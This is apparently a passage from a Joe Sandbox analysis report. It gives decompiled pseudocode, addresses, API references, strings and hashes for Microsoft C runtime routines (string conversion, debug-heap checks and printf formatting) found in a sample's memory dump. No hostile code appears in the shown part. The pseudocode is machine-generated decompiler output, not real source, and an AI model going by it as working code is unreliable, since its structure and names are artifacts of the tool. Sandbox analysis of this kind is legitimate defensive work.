														 *(_t274 - 4) =  *(_t274 - 4) + 1;
														continue;
													}
													 *(_t274 - 0x5c) =  *(_t274 - 4);
													E0041AE30(_t274 - 0x20);
													_t150 =  *(_t274 - 0x5c);
													goto L47;
												}
												_t256 =  &(( *(_t274 + 0xc))[1]);
												 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
												continue;
											}
											 *(_t274 - 0x58) =  *(_t274 - 4);
											E0041AE30(_t274 - 0x20);
											_t150 =  *(_t274 - 0x58);
										}
									}
									goto L47;
								}
								 *(_t274 - 0x60) =  *(_t274 - 4);
								E0041AE30(_t274 - 0x20);
								_t150 =  *(_t274 - 0x60);
							}
						} else {
							 *(_t274 - 0x48) =  *(_t274 - 4) - 1;
							E0041AE30(_t274 - 0x20);
							_t150 =  *(_t274 - 0x48);
						}
						goto L47;
					}
					if( *(_t274 + 0x10) > 0) {
						 *(_t274 + 0x10) = E00437610( *(_t274 + 0xc),  *(_t274 + 0x10));
					}
					_t256 =  *(_t274 + 0xc);
					_t189 =  *((intOrPtr*)(E0041AE60(_t274 - 0x20)));
					_t243 =  *(_t189 + 4);
					 *(_t274 - 4) = WideCharToMultiByte( *(_t189 + 4), 0,  *(_t274 + 0xc),  *(_t274 + 0x10),  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
					if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
						 *((intOrPtr*)(L00422E80(_t243))) = 0x2a;
						 *(_t274 - 0x44) = 0xffffffff;
						E0041AE30(_t274 - 0x20);
						_t150 =  *(_t274 - 0x44);
					} else {
						if( *((char*)( &(( *(_t274 + 8))[ *(_t274 - 4)]) - 1)) == 0) {
							 *(_t274 - 4) =  *(_t274 - 4) - 1;
						}
						_t256 =  *(_t274 - 4);
						 *(_t274 - 0x40) =  *(_t274 - 4);
						E0041AE30(_t274 - 0x20);
						_t150 =  *(_t274 - 0x40);
					}
					goto L47;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t248 =  *(_t274 - 4);
					if( *(_t274 - 4) >=  *(_t274 + 0x10)) {
						break;
					}
					_t256 =  *(_t274 + 0xc);
					if(( *( *(_t274 + 0xc)) & 0x0000ffff) <= 0xff) {
						( *(_t274 + 8))[ *(_t274 - 4)] =  *( *(_t274 + 0xc));
						_t256 =  *( *(_t274 + 0xc)) & 0x0000ffff;
						 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
						if(( *( *(_t274 + 0xc)) & 0x0000ffff) != 0) {
							_t256 =  *(_t274 - 4) + 1;
							 *(_t274 - 4) =  *(_t274 - 4) + 1;
							continue;
						}
						 *(_t274 - 0x38) =  *(_t274 - 4);
						E0041AE30(_t274 - 0x20);
						_t150 =  *(_t274 - 0x38);
					} else {
						 *((intOrPtr*)(L00422E80(_t248))) = 0x2a;
						 *(_t274 - 0x34) = 0xffffffff;
						E0041AE30(_t274 - 0x20);
						_t150 =  *(_t274 - 0x34);
					}
					goto L47;
				}
				 *(_t274 - 0x3c) =  *(_t274 - 4);
				E0041AE30(_t274 - 0x20);
				_t150 =  *(_t274 - 0x3c);
				goto L47;
			}

0x00437223
0x00437223
0x00437223
0x00437227
0x0043755e
0x00437563
0x00437569
0x0043759b
0x0043759e
0x004375a3
0x004375af
0x004375b6
0x004375c3
0x004375c9
0x004375d3
0x004375d8
0x004375dd
0x004375e3
0x004375e9
0x004375ee
0x004375ee
0x0043756b
0x0043756b
0x00437577
0x0043757d
0x00437582
0x00437582
0x004375fb
0x00437608
0x00437608
0x0043723b
0x004372e5
0x004373b1
0x004373b3
0x004373bd
0x004373c4
0x004373e9
0x004373fb
0x00437401
0x0043740b
0x00437410
0x00437418
0x00437418
0x0043742d
0x0043744f
0x00437451
0x0043745b
0x00437462
0x0043746f
0x00437475
0x0043747f
0x00437484
0x0043748c
0x00437490
0x0043749d
0x004374a3
0x004374ad
0x004374b2
0x004374ba
0x004374c3
0x004374db
0x004374f6
0x0043750b
0x00437510
0x00437518
0x004374ea
0x004374f3
0x00000000
0x004374f3
0x0043751d
0x00437523
0x00437528
0x00000000
0x00437528
0x00437535
0x00437538
0x00000000
0x00437538
0x004374c8
0x004374ce
0x004374d3
0x004374d3
0x00437490
0x00000000
0x00437462
0x00437543
0x00437549
0x0043754e
0x0043754e
0x004373cc
0x004373d2
0x004373d8
0x004373dd
0x004373dd
0x00000000
0x004373c4
0x004372ef
0x00437301
0x00437301
0x00437316
0x00437324
0x00437326
0x00437330
0x00437337
0x00437371
0x00437377
0x00437381
0x00437386
0x0043733f
0x0043734b
0x00437353
0x00437353
0x00437356
0x00437359
0x0043735f
0x00437364
0x00437364
0x00000000
0x00000000
0x00000000
0x00000000
0x00437241
0x00437241
0x00437241
0x00437247
0x00000000
0x00000000
0x00437249
0x00437254
0x00437283
0x00437288
0x00437291
0x00437296
0x004372b1
0x004372b4
0x00000000
0x004372b4
0x0043729b
0x004372a1
0x004372a6
0x00437256
0x0043725b
0x00437261
0x0043726b
0x00437270
0x00437270
0x00000000
0x00437254
0x004372bc
0x004372c2
0x004372c7
0x00000000

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043726B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004372A1
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004372C2
wcsncnt.LIBCMTD ref: 004372F9
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0043732A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043735F
_wcslen.LIBCMTD ref: 0043756F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043757D

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide_wcslenwcsncnt
String ID:
API String ID: 4277434810-0
Opcode ID: a1735f5d6794e7a04ee9a7aaf4f854b1ac41bdf6bdcf2e4c8c2cb64efc6041ec
Instruction ID: e226c83cc3c2e17e1a5677ecaeaf49679b374965ea70142110d2b2b4640b4ddb
Opcode Fuzzy Hash: a1735f5d6794e7a04ee9a7aaf4f854b1ac41bdf6bdcf2e4c8c2cb64efc6041ec
Instruction Fuzzy Hash: 5DD15BB1904218EFCF18DF94C984AEEBBB1FF48314F20815AE4566B2A0D738AE41DF55

Uniqueness

Uniqueness Score: -1.00%

Function 0041C645, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041C659
__CrtIsValidHeapPointer.LIBCMTD ref: 0041C6E5
_CheckBytes.LIBCMTD ref: 0041C790
_CheckBytes.LIBCMTD ref: 0041C84A
_memset.LIBCMT ref: 0041C941
__free_base.LIBCMTD ref: 0041C94D

Strings

The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 0041C669
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C6FD, 0041C75B, 0041C916
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 0041C817
tDj, xrefs: 0041C69B
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0041C74F
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C7D9
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C893
_CrtIsValidHeapPointer(pUserData), xrefs: 0041C6F1
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 0041C8D1
Client hook free failure., xrefs: 0041C6BC
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 0041C90A

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj
API String ID: 25084783-3417358119
Opcode ID: 6e4418555ce7fc38baa142c9da15f21d0f2075dde5b9ef8a1151609805f82a85
Instruction ID: 51ce55aaa61ab0c0cbeb0f1ee0215aa156a1768ac3fb244a8c6d0b1cc44c0db4
Opcode Fuzzy Hash: 6e4418555ce7fc38baa142c9da15f21d0f2075dde5b9ef8a1151609805f82a85
Instruction Fuzzy Hash: A991B674B80205FBE714DB44DDC6FAA7365AB48704F304159F604AB2C2D2B5EE81DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00434CF7, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00434CF7(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t494;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t529;
				signed int _t547;
				void* _t558;
				signed int _t567;
				void* _t625;
				void* _t626;
				signed int _t627;
				void* _t629;
				void* _t630;

				L0:
				while(1) {
					L0:
					_t626 = __esi;
					_t625 = __edi;
					_t558 = __ebx;
					_t494 = E00428370(_t627 + 0x14);
					_t630 = _t629 + 4;
					 *(_t627 - 0x298) = _t494;
					if(E00433F20() != 0) {
						goto L118;
					}
					L109:
					__edx = 0;
					if(0 == 0) {
						 *(__ebp - 0x32c) = 0;
					} else {
						 *(__ebp - 0x32c) = 1;
					}
					__eax =  *(__ebp - 0x32c);
					 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
					if( *(__ebp - 0x29c) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E390();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x29c) != 0) {
						L117:
						while(1) {
							L190:
							if( *(_t627 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t627 - 0x10) & 0x00000040) != 0) {
								if(( *(_t627 - 0x10) & 0x00000100) == 0) {
									if(( *(_t627 - 0x10) & 0x00000001) == 0) {
										if(( *(_t627 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t627 - 0x14)) = 0x20;
											 *(_t627 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t627 - 0x14)) = 0x2b;
										 *(_t627 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t627 - 0x14)) = 0x2d;
									 *(_t627 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t627 - 0x2c4)) =  *((intOrPtr*)(_t627 - 0x18)) -  *(_t627 - 0x24) -  *(_t627 - 0x1c);
							if(( *(_t627 - 0x10) & 0x0000000c) == 0) {
								E00435730(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
							}
							E00435770( *(_t627 - 0x1c), _t627 - 0x14,  *(_t627 - 0x1c),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
							_t630 = _t630 + 0x10;
							if(( *(_t627 - 0x10) & 0x00000008) != 0) {
								if(( *(_t627 - 0x10) & 0x00000004) == 0) {
									E00435730(0x30,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
									_t630 = _t630 + 0x10;
								}
							}
							if( *(_t627 - 0xc) == 0) {
								L212:
								E00435770( *((intOrPtr*)(_t627 - 4)),  *((intOrPtr*)(_t627 - 4)),  *(_t627 - 0x24),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t627 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t627 - 0x2dc) = 0;
								 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 4));
								 *(_t627 - 0x2cc) =  *(_t627 - 0x24);
								while(1) {
									L206:
									 *(_t627 - 0x2cc) =  *(_t627 - 0x2cc) - 1;
									if( *(_t627 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t627 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t627 - 0x2c8))));
									_t547 = E00434240(_t627 - 0x2d0, _t627 - 0x2d8, 6,  *(_t627 - 0x32e) & 0x0000ffff);
									_t630 = _t630 + 0x10;
									 *(_t627 - 0x2dc) = _t547;
									 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 0x2c8)) + 2;
									if( *(_t627 - 0x2dc) != 0) {
										L209:
										 *(_t627 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t627 - 0x2d0) != 0) {
										L210:
										E00435770( *((intOrPtr*)(_t627 + 8)), _t627 - 0x2d8,  *(_t627 - 0x2d0),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t627 - 0x24c) >= 0) {
									if(( *(_t627 - 0x10) & 0x00000004) != 0) {
										E00435730(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
									}
								}
							}
							L216:
							if( *(_t627 - 0x20) != 0) {
								L0041C550( *(_t627 - 0x20), 2);
								_t630 = _t630 + 8;
								 *(_t627 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
								_t598 =  *(_t627 - 0x251);
								 *(_t627 + 0xc) =  *(_t627 + 0xc) + 1;
								if( *(_t627 - 0x251) == 0 ||  *(_t627 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t627 - 0x251) < 0x20 ||  *(_t627 - 0x251) > 0x78) {
										 *(_t627 - 0x310) = 0;
									} else {
										 *(_t627 - 0x310) =  *( *(_t627 - 0x251) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t627 - 0x250) =  *(_t627 - 0x310);
								_t509 =  *(_t627 - 0x250) * 9;
								_t567 =  *(_t627 - 0x25c);
								_t598 = ( *(_t509 + _t567 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t627 - 0x25c) = ( *(_t509 + _t567 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t627 - 0x25c) != 8) {
									L16:
									 *(_t627 - 0x318) =  *(_t627 - 0x25c);
									if( *(_t627 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t627 - 0x318) * 4 +  &M00435580))) {
										case 0:
											L18:
											 *(_t627 - 0xc) = 0;
											_t512 = E00431230( *(_t627 - 0x251) & 0x000000ff, E0041AE60(_t627 - 0x40));
											_t633 = _t630 + 8;
											__eflags = _t512;
											if(_t512 == 0) {
												L24:
												E00435690( *(_t627 - 0x251) & 0x000000ff,  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t630 = _t633 + 0xc;
												goto L218;
											} else {
												E00435690( *((intOrPtr*)(_t627 + 8)),  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t633 = _t633 + 0xc;
												_t572 =  *( *(_t627 + 0xc));
												 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
												_t598 =  *(_t627 + 0xc) + 1;
												__eflags = _t598;
												 *(_t627 + 0xc) = _t598;
												asm("sbb eax, eax");
												 *(_t627 - 0x27c) =  ~( ~( *(_t627 - 0x251)));
												if(_t598 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t524 = L0041E390();
													_t633 = _t633 + 0x14;
													__eflags = _t524 - 1;
													if(_t524 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t627 - 0x27c);
												if( *(_t627 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422E80(_t572))) = 0x16;
													E00422C10(_t558, _t572, _t625, _t626, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t627 - 0x2f4) = 0xffffffff;
													E0041AE30(_t627 - 0x40);
													_t502 =  *(_t627 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t73 = __ecx + 0x4355b8; // 0x498d04
											__edx =  *_t73 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M004355A0))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t97 = __ecx - 0x30; // -48
												__edx = __eax + _t97;
												 *(__ebp - 0x18) = __eax + _t97;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t108;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t116 = __ecx + 0x4355e0; // 0x4dee9003
											__edx =  *_t116 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M004355CC))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t627 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t157 =  *(__ebp - 0x324) + 0x43564c; // 0xcccccc0d
											__ecx =  *_t157 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00435610))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L88:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L90;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													L81:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x288) = E00428370(__ebp + 0x14);
													__eflags =  *(__ebp - 0x288);
													if( *(__ebp - 0x288) == 0) {
														L83:
														__edx =  *0x440f80; // 0x404448
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
														L87:
														goto L190;
													}
													L82:
													__ecx =  *(__ebp - 0x288);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														L84:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
